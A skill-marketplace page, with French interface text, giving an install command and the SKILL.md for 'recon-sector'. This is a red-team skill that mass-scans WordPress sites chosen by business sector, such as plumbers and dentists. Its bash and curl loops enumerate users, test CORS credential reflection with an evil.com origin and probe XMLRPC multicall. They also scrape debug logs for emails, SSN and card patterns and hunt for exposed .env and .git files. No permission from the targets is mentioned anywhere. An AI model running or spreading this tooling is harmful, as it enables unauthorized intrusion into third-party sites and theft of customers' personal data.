Menu
Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.
Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
npx skills add https://github.com/uphiago/recon-skills --skill recon-sectorLa commande reste sur une seule ligne. Faites défiler horizontalement pour la vérifier avant de la copier.
Vous préférez une copie locale ? Téléchargez les fichiers actuellement disponibles dans SkillsMP.
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
Basé sur la classification professionnelle SOC
Affichage de SKILL.md
| name | recon-sector |
| description | Parameterized sector recon using sector database. |
| version | 2.0.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["recon","sector","wordpress","cors","xmlrpc","mass-recon"] |
| category | redteam |
| related_skills | ["wp-mass-recon","cors-credential-wordpress","xmlrpc-exploitation","source-leak-hunt","error-log-mining","deep-invade","recon-playbook"] |
Unified sector-specific reconnaissance. Takes a sector name (e.g., plumbing, dentists, hvac), loads sector-specific platform and path data from references/sectors.yaml, and runs the standard recon probe suite: WordPress detection, CORS credential reflection, XMLRPC exposure, debug log mining, source leak checks, and directory listing detection.
Replaces 25 individual recon-* skills that were identical template copies with only sector name and platform names changed.
sector-recon-methodology produces a target list and you need to probe.references/sectors.yaml in the same directory as this SKILL.md.SECTOR="plumbing"
TARGETS_FILE="targets.txt"
python3 references/probe_sector.py "$SECTOR" "$TARGETS_FILE" output/
| Check | Paths | Severity if exposed |
|---|---|---|
| WP detection | /wp-login.php, /wp-content/ | Info |
| REST API users | /wp-json/wp/v2/users | Medium (user enum) |
| CORS + REST API | /wp-json/wp/v2/users with Origin: https://evil.com | High (if ACAC: true) |
| XMLRPC | /xmlrpc.php | Medium (open), High (multicall) |
| Debug log | /wp-content/debug.log | High (PII/SQL leakage) |
| Directory listing | /wp-content/uploads/ | Medium-High (file exposure) |
| Source leaks |
/.env, /.git/config, /info.php |
| Critical (creds in env) |
| Sector-specific paths | From sectors.yaml per sector | Varies |
SECTOR="$1"
TARGETS_FILE="$2"
OUTDIR="${3:-output}"
python3 -c "
import yaml, sys
with open('references/sectors.yaml') as f:
data = yaml.safe_load(f)
sector = data['sectors'].get(sys.argv[1], {})
print('\n'.join(sector.get('high_value_paths', [])))
" "$SECTOR"
while IFS= read -r target; do
[ -z "$target" ] && continue
code=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w '%{http_code}' "https://$target/wp-login.php")
[ "$code" != "404" ] && echo "[WP] $target (HTTP $code)"
sleep 1
done < "$TARGETS_FILE"
while IFS= read -r target; do
[ -z "$target" ] && continue
headers=$(curl -sk --max-time 10 --connect-timeout 10 -I "https://$target/wp-json/wp/v2/users" \
-H "Origin: https://evil.com" 2>/dev/null)
if echo "$headers" | grep -qi "access-control-allow-origin: https://evil.com" && \
echo "$headers" | grep -qi "access-control-allow-credentials: true"; then
echo "[CORS] $target — credential reflection confirmed"
fi
sleep 2
done < "$TARGETS_FILE"
while IFS= read -r target; do
[ -z "$target" ] && continue
body=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$target/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' 2>/dev/null)
if echo "$body" | grep -q "methodResponse"; then
has_multicall=$(echo "$body" | grep -c "system.multicall" || true)
echo "[XMLRPC] $target — active (multicall: $([ "$has_multicall" -gt 0 ] && echo YES || echo no))"
fi
sleep 1
done < "$TARGETS_FILE"
while IFS= read -r target; do
[ -z "$target" ] && continue
body=$(curl -sk --max-time 15 --connect-timeout 10 "https://$target/wp-content/debug.log" 2>/dev/null)
if [ -n "$body" ] && [ ${#body} -gt 200 ]; then
emails=$(echo "$body" | grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' | sort -u | head -10)
pii=$(echo "$body" | grep -Eo '(address|phone|street|zip|SSN|card|CC|credit).{0,80}' | head -10)
echo "[DEBUGLOG] $target — $(echo "$body" | wc -c) bytes"
[ -n "$emails" ] && echo " Emails: $emails"
[ -n "$pii" ] && echo " PII hints: $(echo "$pii" | wc -l) lines"
fi
sleep 2
done < "$TARGETS_FILE"
while IFS= read -r target; do
[ -z "$target" ] && continue
for path in $(python3 -c "
import yaml, sys
with open('references/sectors.yaml') as f:
data = yaml.safe_load(f)
sector = data['sectors'].get('$SECTOR', {})
print(' '.join(sector.get('high_value_paths', [])))
"); do
code=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w '%{http_code}' "https://$target$path")
[ "$code" != "404" ] && echo "[SECTOR:$SECTOR] $target$path (HTTP $code)"
sleep 1
done
done < "$TARGETS_FILE"
/robots.txt and /.env both return 200 with near-identical HTML body, mark domain as parked and skip.dig RANDOMSTRING.target.com +short. If it resolves to the same IP as the domain, all subdomains appear live.--max-time and expect occasional empty JSON. Retry with delay./wp-content/debug.log without sensitive content is NOT a finding. Check for actual PII patterns (emails, phone numbers, SQL queries).ACAO: * without ACAC: true is NOT exploitable. Only ACAO: <reflected origin> + ACAC: true qualifies.Access-Control-Allow-Origin: <reflected> AND Access-Control-Allow-Credentials: true confirmed.methodResponse in body — not just a 200 status.Index of header — not assume from 200 status alone.$OUTDIR/.wp-mass-recon — batch scanner for high-volume WordPress probing.sector-recon-methodology — sector selection and target generation.deep-invade — deep pentest for high-value targets (score >= 6).cors-credential-wordpress — detailed CORS exploitation methodology.xmlrpc-exploitation — XMLRPC attack vectors (multicall, pingback SSRF, brute force).source-leak-hunt — sensitive file detection (.env, .git, backups).error-log-mining — error log credential and PII mining.